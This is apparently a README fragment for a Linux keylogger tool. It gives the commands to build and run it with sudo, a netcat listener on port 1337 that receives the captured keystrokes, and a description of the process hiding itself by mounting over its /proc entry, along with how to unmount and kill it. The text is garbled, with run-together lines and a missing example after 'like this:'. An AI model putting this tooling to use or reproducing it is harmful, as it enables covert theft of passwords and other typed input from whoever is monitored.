makesudo build/keyloggerYou can start a nc server with this command
nc -klnvp 1337the keylogger will connect and send the keys typed. I didn't bothered to add args customisation for port/ip so for now it only connects to localhost:1337
you first have to find the PID of the process, for that the keylloger create a dir with pid like this:

then umount it and kill it
sudo umount /proc/<pid>
sudo killall -9 build/keylogger
